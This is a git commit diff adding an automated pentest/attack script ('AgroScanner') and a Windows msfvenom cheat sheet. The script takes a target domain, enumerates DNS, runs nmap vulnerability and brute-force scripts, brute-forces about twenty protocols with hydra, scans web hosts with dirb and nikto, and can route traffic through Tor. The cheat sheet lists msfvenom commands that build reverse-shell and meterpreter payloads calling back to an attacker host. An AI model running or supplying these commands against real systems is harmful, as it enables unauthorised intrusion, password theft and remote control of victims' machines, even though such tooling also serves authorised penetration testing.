chaoscommit 1
51x
parent
a45113f02e
commit
51629b5b0a
|
|
@ -0,0 +1,46 @@
|
|||
#!/bin/zsh
|
||||
# Agro scanner standalone
|
||||
# License: GNU GPL v3, see LICENSE file
|
||||
# Creation date: 2017.01.10. 21:30
|
||||
# Dependencies: apt-get update && apt-get install zsh nmap python2.7 libxml2-utils -y
|
||||
|
||||
# Variables
|
||||
targetx=(127.0.0.1) # Space delimited!
|
||||
ports=(21-23,25-26,53,80-81,110-111,113,135,139,143,179,199,443,445,465,514-515,548,554,587,646,993,995,1025-1027,1433,1720,1723,2000-2001,3306,3389,4443,5060,5666,5900,6001,8000,8008,8080,8443,8888,10000,32768,49152,49154,11211)
|
||||
|
||||
# Initialize directory and naming structure
|
||||
cdate=$(date +"%Y-%m-%d")
|
||||
mkdir -p result-$cdate
|
||||
cd result-$cdate
|
||||
touch scan_history.txt
|
||||
echo "---- Starting AgroScanner ----" >> scan_history.txt
|
||||
|
||||
# Start with standard alive scan and check ports on alive hosts
|
||||
|
||||
# Get alive hosts
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting alive hosts scan." >> scan_history.txt
|
||||
nmap --randomize-hosts -sn -PS$ports $targetx -oG 1_alive_hosts.out
|
||||
alive_hosts=$(grep "Status: Up" 1_alive_hosts.out | cut -d' ' -f2 | tr '\r\n' ' ')
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished alive hosts scan. Found hosts: " $alive_hosts >> scan_history.txt
|
||||
|
||||
# Port scanning on alive hosts and version detection
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting port scans on alive hosts with top 1000." >> scan_history.txt
|
||||
nmap --randomize-hosts -sS -sV -n -Pn --top-ports 1000 $targetx > 2_ports_and_service_top1000_on_alive_hosts.out
|
||||
python ../agro_detection_parser.py | sed -n '/ /s/ \+/ /gp' > 3_ip_port_service.out
|
||||
number_open_tcp_ports=$(grep -v "Nmap scan report for" 3_ip_port_service.out |wc -l) # It lists all ports, even unknown and faster to grep from here for this.
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished port scans on alive hosts with top 1000. Number of open ports: " $number_open_tcp_ports >> scan_history.txt
|
||||
|
||||
# Run UDP scan on most common ports
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting UDP scans." >> scan_history.txt
|
||||
nmap -sU --top-ports 50 $targetx > 4_udpscan.out
|
||||
number_open_udp_ports=$(grep "open" 4_udpscan.out |wc -l)
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished UDP scans. Number of open UDP ports: " $number_open_udp_ports >> scan_history.txt
|
||||
|
||||
# Vulnerability scanning
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting simple vulnerbility scans." >> scan_history.txt
|
||||
nmap -n -p 21 --script=ftp-anon.nse $targetx > 5_nmap_script_ftpanon.txt
|
||||
#nmap -sU -sS --script smb-enum-* -p U:137,T:139 $targetx > 6_nmap_sbm_nse_scan.txt # There is issue with the * askterisk... should be escaped or something
|
||||
nmap -sS -n -p $ports --script=default,safe,vuln $targetx > 7_nmap_script_default-safe-vuln_scan.txt
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished vulnerability scans. Lists are in the relevant txt files." >> scan_history.txt
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,272 @@
|
|||
#!/bin/zsh
|
||||
# Agro scanner standalone
|
||||
# License: GNU GPL v3, see LICENSE file
|
||||
# Creation date: 2017.01.10. 21:30
|
||||
# Dependencies: apt update && apt install zsh nmap python2.7 libxml2-utils -y
|
||||
# Dependencies for offensive part: apt install theharvester nmap fierce dnsrecon dnsutils hydra dirb sqlmap wget dirb curl nikto libxml2-utils whatweb
|
||||
# Requires root, sry.
|
||||
|
||||
# Variables
|
||||
targetx=(127.0.0.1) # Space delimited!
|
||||
ports=(21-23,25-26,53,80-81,110-111,113,135,139,143,179,199,443,445,465,514-515,548,554,587,646,993,995,1025-1027,1433,1720,1723,2000-2001,3306,3389,4443,5060,5666,5900,6001,8000,8008,8080,8443,8888,10000,32768,49152,49154,11211)
|
||||
|
||||
# Initialize directory and naming structure
|
||||
cdate=$(date +"%Y-%m-%d")
|
||||
mkdir -p result-$cdate
|
||||
cd result-$cdate
|
||||
touch scan_history.txt
|
||||
echo "---- Starting AgroScanner ----" >> scan_history.txt
|
||||
|
||||
# Start with standard alive scan and check ports on alive hosts
|
||||
|
||||
# Get alive hosts
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting alive hosts scan." >> scan_history.txt
|
||||
nmap --randomize-hosts -sn -PS$ports $targetx -oG 1_alive_hosts.out
|
||||
alive_hosts=$(grep "Status: Up" 1_alive_hosts.out | cut -d' ' -f2 | tr '\r\n' ' ')
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished alive hosts scan. Found hosts: " $alive_hosts >> scan_history.txt
|
||||
|
||||
# Port scanning on alive hosts and version detection
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting port scans on alive hosts with top 1000." >> scan_history.txt
|
||||
nmap --randomize-hosts -sS -sV -n -Pn --top-ports 1000 $targetx > 2_ports_and_service_top1000_on_alive_hosts.out
|
||||
python ../agro_detection_parser.py | sed -n '/ /s/ \+/ /gp' > 3_ip_port_service.out
|
||||
number_open_tcp_ports=$(grep -v "Nmap scan report for" 3_ip_port_service.out |wc -l) # It lists all ports, even unknown and faster to grep from here for this.
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished port scans on alive hosts with top 1000. Number of open ports: " $number_open_tcp_ports >> scan_history.txt
|
||||
|
||||
# Run UDP scan on most common ports
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting UDP scans." >> scan_history.txt
|
||||
nmap -sU --top-ports 50 $targetx > 4_udpscan.out
|
||||
number_open_udp_ports=$(grep "open" 4_udpscan.out |wc -l)
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished UDP scans. Number of open UDP ports: " $number_open_udp_ports >> scan_history.txt
|
||||
|
||||
# Vulnerability scanning
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Starting simple vulnerbility scans." >> scan_history.txt
|
||||
nmap -n -p 21 --script=ftp-anon.nse $targetx > 5_nmap_script_ftpanon.txt
|
||||
#nmap -sU -sS --script smb-enum-* -p U:137,T:139 $targetx > 6_nmap_sbm_nse_scan.txt # There is issue with the * askterisk... should be escaped or something
|
||||
nmap -sS -n -p $ports --script=default,safe,vuln $targetx > 7_nmap_script_default-safe-vuln_scan.txt
|
||||
echo $(date +"%Y-%m-%d-%H-%M-%S") " Finished vulnerability scans. Lists are in the relevant txt files." >> scan_history.txt
|
||||
|
||||
|
||||
|
||||
# Offensive part
|
||||
echo "Usage $0 domain.com [tor] [user wordlist] [password wordlist] [nessusURL:port] [nessususer] [nessuspassword]"
|
||||
|
||||
#echo "Updating searchsploit"
|
||||
#searchsploit -u
|
||||
|
||||
# TODO parse arguments correctly
|
||||
echo "[DEBUG] number of arguments $#"
|
||||
|
||||
|
||||
# torify everything on demand
|
||||
if [ $2 == "tor" ]; then echo "TOR mode ON" && torrequested=true; fi
|
||||
|
||||
|
||||
# VARIABLES
|
||||
currentdir=$(pwd)
|
||||
# hydra protocol not bruted by nmap
|
||||
hydrabruteprotocol=(cvs firebird icq irc ldap nntp oracle-listener oracle-sid pcanywhere pcnfs postgres rdp redis rtsp ssh sip teamspeak vmauthd)
|
||||
#TODO provides usernames password in args
|
||||
usernames="/usr/share/nmap/nselib/data/usernames.lst"
|
||||
passwords="/usr/share/nmap/nselib/data/passwords.lst"
|
||||
# Nessus
|
||||
nessusapi=$5
|
||||
nessususer=$6
|
||||
nessuspass=$7
|
||||
|
||||
|
||||
# TODO low priority optimize tools location if not in Kali OS
|
||||
# nmap = which nmap
|
||||
# fierce = which fierce ...
|
||||
|
||||
|
||||
if [ $# -eq 0 ]; then echo "please provide something to pentest you dumb bear (ᵔᴥᵔ) ! :D" ; exit ; fi
|
||||
|
||||
if [ "$(id -u)" != "0" ]; then
|
||||
echo "This script must be run as root for Nmap scripting and syn scan." 1>&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Attacked domain
|
||||
domainattacked=$1;
|
||||
echo "Domain attacked is : $domainattacked !"
|
||||
|
||||
|
||||
# START RECON PART
|
||||
|
||||
# Enum domain with std wordlist
|
||||
echo "Enumerating domains ";
|
||||
fierce -dns $1 -wide -file targets.fierce
|
||||
# Dnsreconing
|
||||
dnsrecon -d $domainattacked -t std,brt,srv,axfr,goo --iw -a -s -c $currentdir/targets.dnsrecon
|
||||
echo "Enumerating domains ... DONE";
|
||||
# Robtex graph
|
||||
echo "Getting graph of the domain infrastructure"
|
||||
wget -qO $domainattacked.png "https://gfx.robtex.com/gfx/graph.png?dns=$domainattacked"
|
||||
# getting a traceroute for network device mapping
|
||||
traceroute $domainattacked > $domainattacked.traceroute
|
||||
tcptraceroute $domainattacked 80 >> $domainattacked.traceroute
|
||||
tcptraceroute $domainattacked 25 >> $domainattacked.traceroute
|
||||
|
||||
|
||||
# extract IPs
|
||||
cat targets.dnsrecon | grep -v 'hostnames found' | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort -u > ips.lst;
|
||||
echo "IPs extracted ! Ready to shoot."
|
||||
#extract IP ranges
|
||||
cat targets.fierce | grep 'hostnames found' | grep -E -o "([0-9]{1,3}[\.-]){4}[0-9]{1,3}" | sort -u > ipranges.lst
|
||||
echo "IPs ranges extracted as well. If you want to extend scan.";
|
||||
|
||||
# LEGACY add dig ANY targets , NS , SRV , ... done by dnsrecon now
|
||||
# dig +recurse +authority $domainattacked ANY | grep -v 'SERVER' | grep -E -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" | sort -u >> ips.lst;
|
||||
|
||||
|
||||
# TODO extend IP detection with
|
||||
# rwhois ? SPF IP ?
|
||||
|
||||
|
||||
# TODO building custom userlist with harvester, add vhost and add ips ?
|
||||
echo "Harvesting info about domain $domainattacked"
|
||||
#theharvester -d $domainattacked -b all -v > $domainattacked.harvester
|
||||
#grep IP inside .harvester
|
||||
|
||||
# EXTENDING if requested extend scan to ip ranges
|
||||
# nmap -sL >> ips.lst
|
||||
|
||||
# CLEANING before starting if IPs added with other scripts
|
||||
# cat ips.lst | sort -u > finalips.lst
|
||||
|
||||
|
||||
# START SERVICES PART
|
||||
|
||||
# SERVICES ENUM FINGERPRINT + NSE VULN PART
|
||||
# main loop for IP
|
||||
for x in `cat ips.lst`; do
|
||||
|
||||
|
||||
|
||||
# create a dir per IP for db txt files
|
||||
mkdir $x;
|
||||
echo "Enumerating ports and services, vuln scanning and brute forcing ... jeez thats alota work";
|
||||
|
||||
# full scan
|
||||
# echo "Full nmap scan start"
|
||||
# nmap -sSU -p T:1-65535,U:7,9,11,13,17,19,20,37,39,42,49,52-54,65-71,81,111,161,123,136-170,514-518,630,631,636-640,650,653,921,1023-1030,1900,2048-2050,27900,27960,32767-32780,32831 -sV --script="(default or vuln or auth or brute or discovery) and not (broadcast or dos)" --script-args="unsafe=1,userdb=$usernames,passwd=$passwords" --host-timeout=180m --max-hostgroup=1 -Pn -v $x -oA $x/nmapresults
|
||||
# reduced scan for TESTING
|
||||
echo "[DEBUG] TEST MODE for nmap sS top1k ONLY"
|
||||
nmap -sS -sV --script="(default or vuln or auth or brute or discovery) and not (broadcast or dos)" --host-timeout=30m --max-hostgroup=1 -Pn $x -oA $x/nmapresults
|
||||
echo "Nmap fingerprinting and NSE for $x... DONE";
|
||||
|
||||
# TODO
|
||||
|
||||
echo "[UNDER CONSTRUCTION] Nessus API Scan";
|
||||
echo "Starting the Nessus scan ..."
|
||||
token=`curl -k -X POST -H 'Content-Type: application/json' -d '{"username":"$nessususer","password":"$nessuspassword"}' "https://$nessusurl/session"`
|
||||
|
||||
# echo "Adding targets to FULL scan"
|
||||
#+ call nessus api
|
||||
# get results in the end
|
||||
|
||||
|
||||
# TODO service / version detection for smarter brute force and searchsploit
|
||||
# echo "[UNDER CONSTRUCTION] Smart protocol detection for hydra ..."
|
||||
# cat nmapresults.xml | grep "port protocol" | cut -d '"' -f12
|
||||
|
||||
|
||||
#getting nmap CPE version of services and using Searchsploit
|
||||
# REPORT services version and cleaning the file
|
||||
echo -n "" > $x/version.services
|
||||
for z in `cat $x/nmapresults.xml | grep '<cpe>'`; do echo $z | grep -ozP "(?s)<cpe>.*?(?=</cpe>)" >> $x/version.services && echo "" >> $x/version.services; done
|
||||
|
||||
# REPORT exploitdb search from nmap
|
||||
echo "Searching interesting vulnerabilities for target $x"
|
||||
#legacy searchsploit for a in $(cat $x/version.services); do echo $a | cut -d : -f3-5 | tr ":" " " | cut -d '.' -f1 >> $x/version.exploits; done
|
||||
searchsploit -v --nmap $x/nmapresults.xml > $x/version.exploits;
|
||||
|
||||
# TODO ADD default credentials
|
||||
|
||||
|
||||
#### Brute force non nmap
|
||||
# TODO optimtize per port
|
||||
echo "STARTING additional BRUTE FORCE PART with hydra";
|
||||
echo "[DEBUG] not bruting for faster testing";
|
||||
for b in ${hydrabruteprotocol[@]}; do hydra -L $usernames -P $passwords -o $x/validuserpass.hydra $b://$x; done;
|
||||
echo "FINISHED additional hydra BRUTE FORCE";
|
||||
|
||||
|
||||
echo "Enumerating ports and services, fingerprinting, vuln scanning and brute forcing .... DONE ";
|
||||
|
||||
|
||||
##################### STOP SERVICES PART
|
||||
|
||||
|
||||
###################### START WEB PART
|
||||
#### WEB VULNS PART
|
||||
echo "Web pentesting now ...";
|
||||
# vhost enum
|
||||
echo "Vhost enum"
|
||||
# adding the IP as vhost , often forgotten
|
||||
echo "$x" >> $x/vhost.list;
|
||||
# manual reverse PTR in case there is none
|
||||
cat targets.dnsrecon | grep $x | grep '^A' | cut -d ',' -f2 >> $x/vhost.list;
|
||||
# reverse PTR
|
||||
dig +short -x $x >> $x/vhost.list;
|
||||
# using robtex from nmap
|
||||
awk '/hostmap-robtex/{f=1;next} /ip-geolocation-geoplugin/{f=0} f' $x/nmapresults.nmap >> $x/vhost.list; # extract vhosts from NMAP robtex script
|
||||
# adding hackertarget vhost
|
||||
timeout 2m curl "http://api.hackertarget.com/reverseiplookup/?q=$x" >> vhost.list;
|
||||
# TO DO add harvester ?
|
||||
# sorting vhosts
|
||||
sort -u $x/vhost.list > $x/vhost.sorted;
|
||||
|
||||
echo "Start port loop for $x"
|
||||
|
||||
# if HTTP port test
|
||||
for y in `cat $x/nmapresults.nmap | grep '/tcp' | grep ' http ' | cut -d '/' -f1`;
|
||||
### WEB RECON
|
||||
do echo "start vhost loop for IP $y";
|
||||
for z in `cat $x/vhost.sorted`;
|
||||
# dirb for each vhost
|
||||
do dirb "http://$z:$y" -f -l > "$x/enum$z.dirb";
|
||||
### WEB fingerprint
|
||||
whatweb -v "http://$z:$y";
|
||||
# nikto for each vhost
|
||||
nikto -host "http://$z:$y" > "$x/$z.nikto";
|
||||
|
||||
# arachni
|
||||
# arachni
|
||||
|
||||
# sqlmap for earch vhost
|
||||
#sqlmap --crawl=2 --forms --batch
|
||||
|
||||
done; ## end vhost loop
|
||||
done; ## end nmap port loop
|
||||
|
||||
|
||||
# if HTTPS port
|
||||
# TO DO again
|
||||
# copy pasta
|
||||
# for y in `cat $x/nmapresults.nmap | grep '/tcp' | grep 'ssl/http' | cut -d '/' -f1`;
|
||||
|
||||
done; ## end IP loop
|
||||
|
||||
|
||||
# REPORT VULNS FOUND
|
||||
echo "======================================"
|
||||
echo "Vulnerability summary from NSE Scripts"
|
||||
echo ""
|
||||
grep -i "vulner" -B1 */nmapresults.nmap
|
||||
echo "You might also need to read manually also the .nmap as vulnerable state is not harmonized through NSE"
|
||||
echo ""
|
||||
|
||||
echo "======================================"
|
||||
echo "ExploitDB research results"
|
||||
echo ""
|
||||
echo "Interesting exploits found: "
|
||||
cat */version.exploits
|
||||
echo ""
|
||||
|
||||
echo "======================================"
|
||||
echo "Bruteforce results"
|
||||
echo ""
|
||||
echo "Valid passwords found: "
|
||||
cat */validuserpass.hydra
|
||||
echo ""
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
C0nn3ctz shell meterpreter windows
|
||||
|
||||
c00nt3nt
|
||||
|
||||
Windows msfvenom cheat sheet
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f exe > shell.exe
|
||||
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$theip LPORT=$theport -f exe -o shell.exe # STAGED, use this with msf
|
||||
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=$theip LPORT=$theport -f exe -o shell.exe # NON-STAGED
|
||||
msfvenom -p windows/x64/exec cmd="cmd /c calc.exe" -f dll > d3d9.dll
|
||||
msfvenom -p windows/exec CMD="cmd /c calc.exe" -f dll > d3d9.dll
|
||||
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=$theip LPORT=$theport
|
||||
Loading…
Reference in New Issue